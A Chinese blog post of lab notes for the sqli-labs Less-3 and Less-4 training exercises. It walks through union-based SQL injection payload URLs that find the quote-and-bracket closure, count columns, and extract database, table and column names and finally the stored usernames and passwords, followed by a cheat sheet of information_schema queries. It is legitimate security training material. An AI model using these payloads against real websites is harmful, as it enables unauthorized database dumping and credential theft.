sqli-labs less3/4打靶笔记

一、less 3

1.判断闭合字符

http://192.168.1.24:83/Less-3/?id=1'
#报错信息use near ''1'') LIMIT 0,1' at line 1

在这里插入图片描述

http://192.168.1.24:83/Less-3/?id=1' and 1=1 -- =
#报错

在这里插入图片描述

?id=1 and 1=1 -- =
?id=1" and 1=1 -- =
#均不报错
?id=1 and 1=2 -- =
?id=1' and 1=2 -- =
?id=1" and 1=2 -- =
#都显示正常,只能尝试其他字符

http://192.168.1.24:83/Less-3/?id=1') and 1=2 -- =
#最后发现id=1') and 1=2 -- =
#显示异常
http://192.168.1.24:83/Less-3/?id=1') and 1=1 -- =
#显示正常

在这里插入图片描述
由此可初步判断为单引号变形字符型注入。

2.判断字段数

http://172.168.30.176/Less-3/?id=1') order by 3 -- =
#有回显

http://172.168.30.176/Less-3/?id=1') order by 4 -- =
#报错

在这里插入图片描述
在这里插入图片描述

由此可判断列数为3列。

3.结合union查看显示位

http://192.168.1.24:83/Less-3/?id=1111')  union select 1,2,3 -- =

在这里插入图片描述
可以得出显示位为2、3位。

4.使用database()函数爆库名

http://192.168.1.24:83/Less-3/?id=1111')  union select 1,2,database() -- =

在这里插入图片描述

5.爆出security库的表名。

http://192.168.1.24:83/Less-3/?id=1111')  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- =

在这里插入图片描述

6.爆出security库中users表的列名。

http://192.168.1.24:83/Less-3/?id=1111')  union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'-- =

在这里插入图片描述

7.爆出users表的username、password的数据。

http://192.168.1.24:83/Less-3/?id=1111')  union select 1,2,group_concat(concat_ws('--',username,password)) from security.users -- =

在这里插入图片描述

二、less 4

1.判断闭合字符

http://172.168.30.176/Less-4/?id=1'
#正常,且有回显
http://172.168.30.176/Less-4/?id=1"
#报错信息use near ''1'') LIMIT 0,1' at line 1
http://172.168.30.176/Less-4/?id=1") and 1=1 -- =
#正常
http://172.168.30.176/Less-4/?id=1") and 1=2 -- =
#异常

由此可判断为括号双引号字符型注入。

2.判断字段数

http://172.168.30.176/Less-4/?id=1") order by 3-- =     #没有报错
http://172.168.30.176/Less-4/?id=1") order by 4-- =     #报错

由此可见查询字段数为3。

3.查询显示位(与less 3一致)

4.爆库名。

http://192.168.1.24:83/Less-3/?id=1111")  union select 1,2,database() -- =

5.爆表名。

http://192.168.1.24:83/Less-3/?id=1111")  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- =

6.爆列名。

http://192.168.1.24:83/Less-3/?id=1111")  union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- =

7.爆user表敏感数据。

http://192.168.1.24:83/Less-3/?id=1111")  union select 1,2,group_concat(concat_ws('--',username,password)) from security.users -- =

在这里插入图片描述

总结

SQL注入的步骤如下:
在这里插入图片描述
如上所述,SQL注入一般为以上7个步骤,首先判断是否存在注入点,然后判断查询的字段数,接着判断显示位,最后通过函数、information_schema的三张表依次爆出库名、表名、列名及具体的数据。
只要牢记这7个步骤,脱裤不是梦!!!

PS:

只有MySQL5.0及以上版本才自带有information_schema库。
三张表分别为:
table_schema(存放库名)
table_name(存放表名)
column_name(存放列名)
主要用到的语句:
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema='security'
查列:select column_name from information_schema.columns where table_name='users'
查数据:select username,password from security.users
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值